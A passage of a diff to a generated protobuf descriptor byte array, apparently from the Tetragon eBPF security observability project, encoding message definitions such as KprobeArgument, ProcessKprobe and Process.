0x6e, 0x73, 0x22, 0x61, 0x0a, 0x0d, 0x4b, - 0x70, 0x72, 0x6f, 0x62, 0x65, 0x42, 0x70, 0x66, 0x41, 0x74, 0x74, 0x72, 0x12, 0x1a, 0x0a, 0x08, - 0x50, 0x72, 0x6f, 0x67, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x50, 0x72, 0x6f, 0x67, 0x54, 0x79, 0x70, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x49, 0x6e, 0x73, 0x6e, - 0x43, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x49, 0x6e, 0x73, 0x6e, 0x43, - 0x6e, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x7f, - 0x0a, 0x0f, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x50, 0x65, 0x72, 0x66, 0x45, 0x76, 0x65, 0x6e, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x46, 0x75, 0x6e, 0x63, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x46, 0x75, 0x6e, - 0x63, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, - 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x65, 0x4f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x04, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x65, 0x4f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, - 0x9a, 0x01, 0x0a, 0x0c, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x42, 0x70, 0x66, 0x4d, 0x61, 0x70, - 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x61, 0x70, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x07, 0x4d, 0x61, 0x70, 0x54, 0x79, 0x70, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, - 0x79, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x61, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x4d, 0x61, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x61, 0x70, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x61, 0x70, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x2d, 0x0a, 0x09, - 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x49, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x69, 0x64, 0x12, 0x10, 0x0a, 0x03, 0x61, 0x62, 0x69, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x61, 0x62, 0x69, 0x22, 0xb0, 0x0c, 0x0a, 0x0e, - 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x1f, - 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x48, 0x00, 0x52, 0x09, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x41, 0x72, 0x67, 0x12, - 0x19, 0x0a, 0x07, 0x69, 0x6e, 0x74, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, - 0x48, 0x00, 0x52, 0x06, 0x69, 0x6e, 0x74, 0x41, 0x72, 0x67, 0x12, 0x2e, 0x0a, 0x07, 0x73, 0x6b, - 0x62, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6b, 0x62, - 0x48, 0x00, 0x52, 0x06, 0x73, 0x6b, 0x62, 0x41, 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x08, 0x73, 0x69, - 0x7a, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x48, 0x00, 0x52, 0x07, - 0x73, 0x69, 0x7a, 0x65, 0x41, 0x72, 0x67, 0x12, 0x1d, 0x0a, 0x09, 0x62, 0x79, 0x74, 0x65, 0x73, - 0x5f, 0x61, 0x72, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x08, 0x62, 0x79, - 0x74, 0x65, 0x73, 0x41, 0x72, 0x67, 0x12, 0x31, 0x0a, 0x08, 0x70, 0x61, 0x74, 0x68, 0x5f, 0x61, - 0x72, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x50, 0x61, 0x74, 0x68, 0x48, 0x00, - 0x52, 0x07, 0x70, 0x61, 0x74, 0x68, 0x41, 0x72, 0x67, 0x12, 0x31, 0x0a, 0x08, 0x66, 0x69, 0x6c, - 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x46, 0x69, 0x6c, - 0x65, 0x48, 0x00, 0x52, 0x07, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x72, 0x67, 0x12, 0x50, 0x0a, 0x13, - 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x5f, 0x62, 0x79, 0x74, 0x65, 0x73, 0x5f, - 0x61, 0x72, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x74, 0x65, 0x74, 0x72, - 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x74, 0x65, 0x73, 0x48, 0x00, 0x52, 0x11, 0x74, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x74, 0x65, 0x73, 0x41, 0x72, 0x67, 0x12, 0x31, - 0x0a, 0x08, 0x73, 0x6f, 0x63, 0x6b, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, - 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x48, 0x00, 0x52, 0x07, 0x73, 0x6f, 0x63, 0x6b, 0x41, 0x72, - 0x67, 0x12, 0x31, 0x0a, 0x08, 0x63, 0x72, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, - 0x70, 0x72, 0x6f, 0x62, 0x65, 0x43, 0x72, 0x65, 0x64, 0x48, 0x00, 0x52, 0x07, 0x63, 0x72, 0x65, - 0x64, 0x41, 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x08, 0x6c, 0x6f, 0x6e, 0x67, 0x5f, 0x61, 0x72, 0x67, - 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x07, 0x6c, 0x6f, 0x6e, 0x67, 0x41, 0x72, - 0x67, 0x12, 0x3b, 0x0a, 0x0c, 0x62, 0x70, 0x66, 0x5f, 0x61, 0x74, 0x74, 0x72, 0x5f, 0x61, 0x72, - 0x67, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, - 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x42, 0x70, 0x66, 0x41, 0x74, 0x74, 0x72, - 0x48, 0x00, 0x52, 0x0a, 0x62, 0x70, 0x66, 0x41, 0x74, 0x74, 0x72, 0x41, 0x72, 0x67, 0x12, 0x41, - 0x0a, 0x0e, 0x70, 0x65, 0x72, 0x66, 0x5f, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x61, 0x72, 0x67, - 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x50, 0x65, 0x72, 0x66, 0x45, 0x76, 0x65, 0x6e, - 0x74, 0x48, 0x00, 0x52, 0x0c, 0x70, 0x65, 0x72, 0x66, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x41, 0x72, - 0x67, 0x12, 0x38, 0x0a, 0x0b, 0x62, 0x70, 0x66, 0x5f, 0x6d, 0x61, 0x70, 0x5f, 0x61, 0x72, 0x67, - 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, - 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x42, 0x70, 0x66, 0x4d, 0x61, 0x70, 0x48, 0x00, - 0x52, 0x09, 0x62, 0x70, 0x66, 0x4d, 0x61, 0x70, 0x41, 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x08, 0x75, - 0x69, 0x6e, 0x74, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0d, 0x48, 0x00, 0x52, - 0x07, 0x75, 0x69, 0x6e, 0x74, 0x41, 0x72, 0x67, 0x12, 0x51, 0x0a, 0x12, 0x75, 0x73, 0x65, 0x72, - 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x10, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, - 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, - 0x61, 0x63, 0x65, 0x42, 0x02, 0x18, 0x01, 0x48, 0x00, 0x52, 0x10, 0x75, 0x73, 0x65, 0x72, 0x4e, - 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x41, 0x72, 0x67, 0x12, 0x43, 0x0a, 0x0e, 0x63, - 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x11, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, - 0x70, 0x72, 0x6f, 0x62, 0x65, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x48, - 0x00, 0x52, 0x0d, 0x63, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x41, 0x72, 0x67, - 0x12, 0x56, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x63, 0x72, 0x65, 0x64, - 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x13, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x48, - 0x00, 0x52, 0x15, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x61, 0x6c, 0x73, 0x41, 0x72, 0x67, 0x12, 0x39, 0x0a, 0x0b, 0x75, 0x73, 0x65, 0x72, - 0x5f, 0x6e, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, - 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x48, 0x00, 0x52, 0x09, 0x75, 0x73, 0x65, 0x72, 0x4e, 0x73, - 0x41, 0x72, 0x67, 0x12, 0x37, 0x0a, 0x0a, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x5f, 0x61, 0x72, - 0x67, 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, - 0x6f, 0x6e, 0x2e, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x48, - 0x00, 0x52, 0x09, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x41, 0x72, 0x67, 0x12, 0x29, 0x0a, 0x10, - 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x5f, 0x63, 0x61, 0x70, 0x5f, 0x74, 0x5f, 0x61, 0x72, 0x67, - 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0d, 0x6b, 0x65, 0x72, 0x6e, 0x65, 0x6c, - 0x43, 0x61, 0x70, 0x54, 0x41, 0x72, 0x67, 0x12, 0x30, 0x0a, 0x13, 0x63, 0x61, 0x70, 0x5f, 0x69, - 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x17, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x11, 0x63, 0x61, 0x70, 0x49, 0x6e, 0x68, 0x65, 0x72, - 0x69, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x41, 0x72, 0x67, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x61, 0x70, - 0x5f, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x18, - 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0f, 0x63, 0x61, 0x70, 0x50, 0x65, 0x72, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x41, 0x72, 0x67, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x61, 0x70, 0x5f, 0x65, - 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x19, 0x20, 0x01, - 0x28, 0x09, 0x48, 0x00, 0x52, 0x0f, 0x63, 0x61, 0x70, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, - 0x76, 0x65, 0x41, 0x72, 0x67, 0x12, 0x47, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x5f, 0x62, - 0x69, 0x6e, 0x70, 0x72, 0x6d, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, - 0x65, 0x4c, 0x69, 0x6e, 0x75, 0x78, 0x42, 0x69, 0x6e, 0x70, 0x72, 0x6d, 0x48, 0x00, 0x52, 0x0e, - 0x6c, 0x69, 0x6e, 0x75, 0x78, 0x42, 0x69, 0x6e, 0x70, 0x72, 0x6d, 0x41, 0x72, 0x67, 0x12, 0x38, - 0x0a, 0x0b, 0x6e, 0x65, 0x74, 0x5f, 0x64, 0x65, 0x76, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1b, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, - 0x70, 0x72, 0x6f, 0x62, 0x65, 0x4e, 0x65, 0x74, 0x44, 0x65, 0x76, 0x48, 0x00, 0x52, 0x09, 0x6e, - 0x65, 0x74, 0x44, 0x65, 0x76, 0x41, 0x72, 0x67, 0x12, 0x32, 0x0a, 0x0b, 0x62, 0x70, 0x66, 0x5f, - 0x63, 0x6d, 0x64, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x42, 0x70, 0x66, 0x43, 0x6d, 0x64, 0x48, - 0x00, 0x52, 0x09, 0x62, 0x70, 0x66, 0x43, 0x6d, 0x64, 0x41, 0x72, 0x67, 0x12, 0x34, 0x0a, 0x0a, - 0x73, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x5f, 0x69, 0x64, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x13, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x53, 0x79, 0x73, 0x63, - 0x61, 0x6c, 0x6c, 0x49, 0x64, 0x48, 0x00, 0x52, 0x09, 0x73, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, - 0x49, 0x64, 0x12, 0x3d, 0x0a, 0x0c, 0x73, 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x5f, 0x61, - 0x72, 0x67, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, - 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x61, 0x64, - 0x64, 0x72, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, 0x72, 0x41, 0x72, - 0x67, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x18, 0x12, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x42, 0x05, 0x0a, 0x03, 0x61, 0x72, 0x67, 0x22, 0xe7, - 0x04, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, - 0x12, 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, + 0x54, 0x69, 0x6d, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x61, 0x75, 0x69, 0x64, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x04, 0x61, 0x75, 0x69, 0x64, 0x12, 0x1f, 0x0a, 0x03, 0x70, 0x6f, 0x64, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, + 0x6f, 0x64, 0x52, 0x03, 0x70, 0x6f, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x64, 0x6f, 0x63, 0x6b, 0x65, + 0x72, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x64, 0x6f, 0x63, 0x6b, 0x65, 0x72, 0x12, + 0x24, 0x0a, 0x0e, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x5f, 0x65, 0x78, 0x65, 0x63, 0x5f, 0x69, + 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x45, + 0x78, 0x65, 0x63, 0x49, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x72, 0x65, 0x66, 0x63, 0x6e, 0x74, 0x18, + 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x06, 0x72, 0x65, 0x66, 0x63, 0x6e, 0x74, 0x12, 0x28, 0x0a, + 0x03, 0x63, 0x61, 0x70, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, + 0x65, 0x73, 0x52, 0x03, 0x63, 0x61, 0x70, 0x12, 0x24, 0x0a, 0x02, 0x6e, 0x73, 0x18, 0x0f, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, + 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x73, 0x52, 0x02, 0x6e, 0x73, 0x12, 0x2e, 0x0a, + 0x03, 0x74, 0x69, 0x64, 0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, + 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x03, 0x74, 0x69, 0x64, 0x12, 0x4d, 0x0a, + 0x13, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x5f, 0x63, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x43, 0x72, 0x65, + 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x52, 0x12, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x47, 0x0a, 0x11, + 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x5f, 0x70, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, 0x69, 0x65, + 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, + 0x6f, 0x6e, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, 0x72, 0x74, + 0x69, 0x65, 0x73, 0x52, 0x10, 0x62, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x70, 0x65, + 0x72, 0x74, 0x69, 0x65, 0x73, 0x12, 0x28, 0x0a, 0x04, 0x75, 0x73, 0x65, 0x72, 0x18, 0x13, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x55, + 0x73, 0x65, 0x72, 0x52, 0x65, 0x63, 0x6f, 0x72, 0x64, 0x52, 0x04, 0x75, 0x73, 0x65, 0x72, 0x12, + 0x3c, 0x0a, 0x0c, 0x69, 0x6e, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x5f, 0x74, 0x72, 0x65, 0x65, 0x18, + 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x42, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x52, 0x0a, 0x69, 0x6e, 0x49, 0x6e, 0x69, 0x74, 0x54, 0x72, 0x65, 0x65, 0x12, 0x45, 0x0a, + 0x15, 0x65, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6d, 0x65, 0x6e, 0x74, 0x5f, 0x76, 0x61, 0x72, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x18, 0x15, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, 0x52, 0x14, + 0x65, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6d, 0x65, 0x6e, 0x74, 0x56, 0x61, 0x72, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x73, 0x22, 0x96, 0x01, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, + 0x45, 0x78, 0x65, 0x63, 0x12, 0x2b, 0x0a, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, + 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x12, 0x29, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, - 0x63, 0x65, 0x73, 0x73, 0x52, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x29, 0x0a, - 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, - 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 